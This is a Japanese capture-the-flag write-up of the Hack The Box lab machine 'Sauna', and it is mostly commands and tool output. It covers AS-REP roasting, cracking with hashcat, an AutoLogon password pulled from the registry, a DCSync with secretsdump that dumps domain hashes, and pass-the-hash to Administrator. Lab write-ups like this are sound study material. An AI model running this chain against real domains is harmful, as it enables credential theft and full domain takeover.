Sauna¶
Flag-Critical Knowledge¶
トリガー、攻撃パターン¶
attack summary¶
User discovery
→ AS-REP roast fsmith
→ crack hash
→ WinRM as fsmith
→ AutoLogon credential disclosure
→ svc_loanmgr
→ DCSync
→ Administrator hash
→ Pass-the-Hash
→ root flag
walkthrough¶
10.129.95.180
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-02-08 19:27:37Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49685/tcp open msrpc Microsoft Windows RPC
49692/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 8h00m00s
| smb2-time:
| date: 2026-02-08T19:28:31
|_ start_date: N/A
[!!!] Domain Controller found on 10.129.95.180
PORT STATE SERVICE VERSION
53/udp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNS-SD:
| _services
| _dns-sd
| _udp
| local
| NBTStat:
|_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-02-08 19:29:22Z)
123/udp open ntp NTP v3
| ntp-info:
|_
Host script results:
|_clock-skew: 8h00m13s
ldap列挙
匿名LDAP
ldapsearch -x -H ldap://10.129.95.180 -b "DC=sauna,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" sAMAccountName
AS-REP Roasting で直接確認（最優先）
GetNPUsers.py sauna.local/ -dc-ip 10.129.95.180 -no-pass
http://10.129.95.180/about.html Fergus Smith Shaun Coins Bowie Taylor Sophie Driver Hugo Bear Steven Kerb
cat > users.txt << EOF
fergus.smith hugo.bear steven.kerb shaun.coins bowie.taylor sophie.driver EOF
GetNPUsers.py sauna.local/ -dc-ip 10.129.95.180 -no-pass -usersfile users.txt
GetNPUsers.py EGOTISTICALBANK.LOCAL/ -dc-ip 10.129.95.180 -no-pass -usersfile users.txt
EGOTISTICAL-BANK.LOCAL
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.129.95.180 -dc-host SAUNA.EGOTISTICAL-BANK.LOCAL -no-pass -usersfile users.txt
John Smith
↓ jsmith
john.smith
johns
cat > names.txt << EOF
Fergus Smith Shaun Coins Bowie Taylor Sophie Driver Hugo Bear Steven Kerb EOF
git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
./username-anarchy -i ../names.txt > ../users2.txt
ユーザー候補ができたら：
kerbrute userenum -d EGOTISTICAL-BANK.LOCAL --dc 10.129.95.180 users2.txt
有効ユーザーが見つかったら：
AS-REP Roast（Pre-Auth 無効ユーザー確認）
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.129.95.180 -no-pass -usersfile valid_users.txt
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.129.95.180 -no-pass -usersfile <(echo fsmith)
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.129.95.180 -no-pass -usersfile <(echo fsmith) -outputfile fsmith.asrep
┌──(kali㉿kali)-[~/htb/sauna/10.129.95.180]
└─$ kerbrute userenum -d EGOTISTICAL-BANK.LOCAL --dc 10.129.95.180 users2.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 02/08/26 - Ronnie Flathers @ropnop
2026/02/08 20:44:24 > Using KDC(s):
2026/02/08 20:44:24 > 10.129.95.180:88
2026/02/08 20:44:24 > [+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL
2026/02/08 20:44:25 > Done! Tested 88 usernames (1 valid) in 1.523 seconds
┌──(kali㉿kali)-[~/htb/sauna/10.129.95.180]
└─$
┌──(kali㉿kali)-[~/htb/sauna/10.129.95.180]
└─$ GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.129.95.180 -no-pass -usersfile <(echo fsmith)
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:6ddbf495d9da02b1daf6d6ad65135b15$baac3f1e8ff06e0bfc25ac98f4a43dd9e8e3f3be861874afea2b205d79a612e9d2f7b08fb136281cebdf3b4bc1e2a69bb1b386e47ee913d5efed841ed052376c605261d7c8a6e7ec850fc93008a6d233cd0a03849753acc62b6f0965c5bc4cb81a1d56357ee97856655b700d4515259fe6e351d6544d6804913c1b0ea7705d7675eb94fcaa6becf4f53ffad84fd5d989085ac350d7d6c5aaaba8a1d5abc38d2af6f42d6c000b394bcb40d202d9758444bb067aef7116f72d87f5954d77dd63217a5d6bc0e9fa47bc950f8f49a81464446f34ffd2cd64144b84786d0097fedd00ac84a6286cfa565cd5ac9bf047b931b9950bcde357f3a358fc1e9c4e2cdce3a2
┌──(kali㉿kali)-[~/htb/sauna/10.129.95.180]
└─$
hashcat -m 18200 fsmith.asrep /usr/share/wordlists/rockyou.txt --force
hashcat -m 18200 fsmith.asrep /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
┌──(kali㉿kali)-[~/htb/sauna/10.129.95.180]
└─$ hashcat -m 18200 fsmith.asrep /usr/share/wordlists/rockyou.txt --force
hashcat (v6.2.6) starting
You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu--0x000, 1435/2935 MB (512 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:e36979f4f7666faed1327d2329697c11$f329669e07046bb0ca4bcbd9aa5f541d16c0ec1701691c48deaa98772c06be17695f2dccd245e73dac3e06e44338aace925291efa8edd05470ceb3f65c5ca0a4c6f66733788f578a435ba346ad4269933850604239a86ceef8ad49b2397fdf8b8539c376cb776439740d0e652f3854627c5b6e1a3bcbee8a2bbae0a70a93d453812510e0f74caa15797b14bac38893f8425350669399af771ab39b1f7b6990a9bd684c05f256f63662937931dc7501d153e16978a283ff648b3d6d0a1fe6d049bca2bbd04ab8b21036f0cc80a7e4b18837448c9c413f2ba9f09706767fa23548b322507c5cc8039d2ea019eef9282f6251efcbb3c200eccfad0c7eb9ffec3a30:Thestrokes23
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:e36979f...ec3a30
Time.Started.....: Sun Feb 8 20:49:43 2026, (7 secs)
Time.Estimated...: Sun Feb 8 20:49:50 2026, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1678.5 kH/s (0.25ms) @ Accel:256 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10539008/14344385 (73.47%)
Rejected.........: 0/10539008 (0.00%)
Restore.Point....: 10538496/14344385 (73.47%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Thip1812 -> Thelittlemermaid
Hardware.Mon.#1..: Util: 91%
Started: Sun Feb 8 20:49:43 2026
Stopped: Sun Feb 8 20:49:51 2026
┌──(kali㉿kali)-[~/htb/sauna/10.129.95.180]
└─$
evil-winrm -i 10.129.95.180 -u fsmith -p 'Thestrokes23'
自動ログイン設定
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
*Evil-WinRM* PS C:\Users\FSmith\Desktop> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
DefaultDomainName REG_SZ EGOTISTICALBANK
DefaultUserName REG_SZ EGOTISTICALBANK\svc_loanmanager
DisableBackButton REG_DWORD 0x1
EnableSIHostIntegration REG_DWORD 0x1
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ
LegalNoticeText REG_SZ
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
ShellCritical REG_DWORD 0x0
ShellInfrastructure REG_SZ sihost.exe
SiHostCritical REG_DWORD 0x0
SiHostReadyTimeOut REG_DWORD 0x0
SiHostRestartCountLimit REG_DWORD 0x0
SiHostRestartTimeGap REG_DWORD 0x0
Userinit REG_SZ C:\Windows\system32\userinit.exe,
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled REG_SZ 0
scremoveoption REG_SZ 0
DisableCAD REG_DWORD 0x1
LastLogOffEndTimePerfCounter REG_QWORD 0x8c9319f7
ShutdownFlags REG_DWORD 0x8000022b
DisableLockWorkstation REG_DWORD 0x0
DefaultPassword REG_SZ Moneymakestheworldgoround!
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserDefaults
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKey
*Evil-WinRM* PS C:\Users\FSmith\Desktop>
EGOTISTICALBANK\svc_loanmanager Moneymakestheworldgoround!
BloodHound 取得（最優先）
kali
evil-winrm -i 10.129.95.180 -u fsmith -p 'Thestrokes23'
evil-winrm -i 10.129.95.180 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
windows
upload SharpHound.exe
.\SharpHound.exe -c All
download *.zip
kali 解凍： unzip bloodhound.zip -d bh
BloodHound代替解析（ARMで実戦）
セットアップ後、すぐ👇をやる：
1. SharpHound の zip を Upload
2. Eric.Wallows を Starting Node に設定
3. 「最短経路」クエリを見る
動画でやってること Find all Domain Admins
Find Shortest Paths to Domain Admins
AdminTo
Shortest Paths to Domain Admins from Owned Principals
ーーー STEPHANIEで検索 STEPHANIEを右クリックで「Mark User as Owned」 ↓ マシンを検索 マシンを右クリックで「Mark Computer as Owned」 ↓ Shortest Paths to Domain Admins from Owned Principals
svc_loanmanager fsmith
The user SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL has the DS-Replication-Get-Changes and the DS-Replication-Get-Changes-All permission on the domain EGOTISTICAL-BANK.LOCAL.
DS-Replication-Get-Changes-All
＝＝＝
secretsdump.py EGOTISTICAL-BANK/svc_loanmgr@10.129.95.180
secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@10.129.95.180'
Moneymakestheworldgoround!
└─$ secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@10.129.95.180'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:db05582b717af468151e9bbf55e9c259:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:6718486c59df2f6c9ad866411bc2bdadcc8cf0443f808cac32e838d0b3d61ba6
SAUNA$:aes128-cts-hmac-sha1-96:9f3931a76f27e9d8ee93193fe694529a
SAUNA$:des-cbc-md5:761cd62c5d45b315
[*] Cleaning up...
┌──(kali㉿kali)-[~]
evil-winrm -i 10.129.95.180 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
<REDACTED_FLAG>
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
````
## walkthrough(AI)
このAI版 walkthrough は、生メモを後から復習しやすい順番に整理したもの。Sauna はユーザー名推測から AS-REP roast、AutoLogon 資格情報、DCSync へ進む典型的な AD ルート。
### 1. ユーザー候補を作成
Web や企業ページから人名を集め、AD で使われそうなユーザー名形式に変換する。`fsmith` が有効ユーザーとして見つかる。
### 2. AS-REP roast
事前認証不要ユーザーを確認し、`fsmith` の AS-REP hash を取得する。
```bash
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.129.95.180 -no-pass -usersfile valid_users.txt
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.129.95.180 -no-pass -usersfile <(echo fsmith) -outputfile fsmith.asrep
3. fsmith の hash を crack¶
AS-REP hash を crack する。
hashcat -m 18200 fsmith.asrep /usr/share/wordlists/rockyou.txt --force
得られる資格情報。
fsmith / Thestrokes23
4. fsmith で WinRM¶
fsmith の資格情報で WinRM する。
evil-winrm -i 10.129.95.180 -u fsmith -p 'Thestrokes23'
user flag を取得し、ローカルの資格情報を探す。
5. AutoLogon 資格情報を確認¶
Windows の AutoLogon 設定に資格情報が残っている。
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
svc_loanmgr のパスワードが得られる。
svc_loanmgr / Moneymakestheworldgoround!
6. svc_loanmgr で DCSync¶
svc_loanmgr は DCSync に必要な権限を持つ。まず認証確認し、secretsdump で NTDS secrets を取得する。
evil-winrm -i 10.129.95.180 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@10.129.95.180'
Administrator の NTLM hash を取得する。
Administrator / 823452073d75b9d1cf70ebdf86c7f98e
7. Pass-the-Hash で Administrator¶
Administrator hash で WinRM し、root flag を取得する。
evil-winrm -i 10.129.95.180 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e
8. 攻撃の流れまとめ¶
User discovery
→ AS-REP roast fsmith
→ crack hash
→ WinRM as fsmith
→ AutoLogon credential disclosure
→ svc_loanmgr
→ DCSync
→ Administrator hash
→ Pass-the-Hash
drill¶
AS-REP roast¶
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.129.95.180 -no-pass -usersfile valid_users.txt
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.129.95.180 -no-pass -usersfile <(echo fsmith) -outputfile fsmith.asrep
ハッシュをクラック¶
hashcat -m 18200 fsmith.asrep /usr/share/wordlists/rockyou.txt --force
fsmithでWinRM¶
evil-winrm -i 10.129.95.180 -u fsmith -p 'Thestrokes23'
AutoLogon資格情報確認¶
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
svc_loanmgrでWinRM¶
evil-winrm -i 10.129.95.180 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
DCSyncとPass-the-Hash¶
secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@10.129.95.180'
evil-winrm -i 10.129.95.180 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e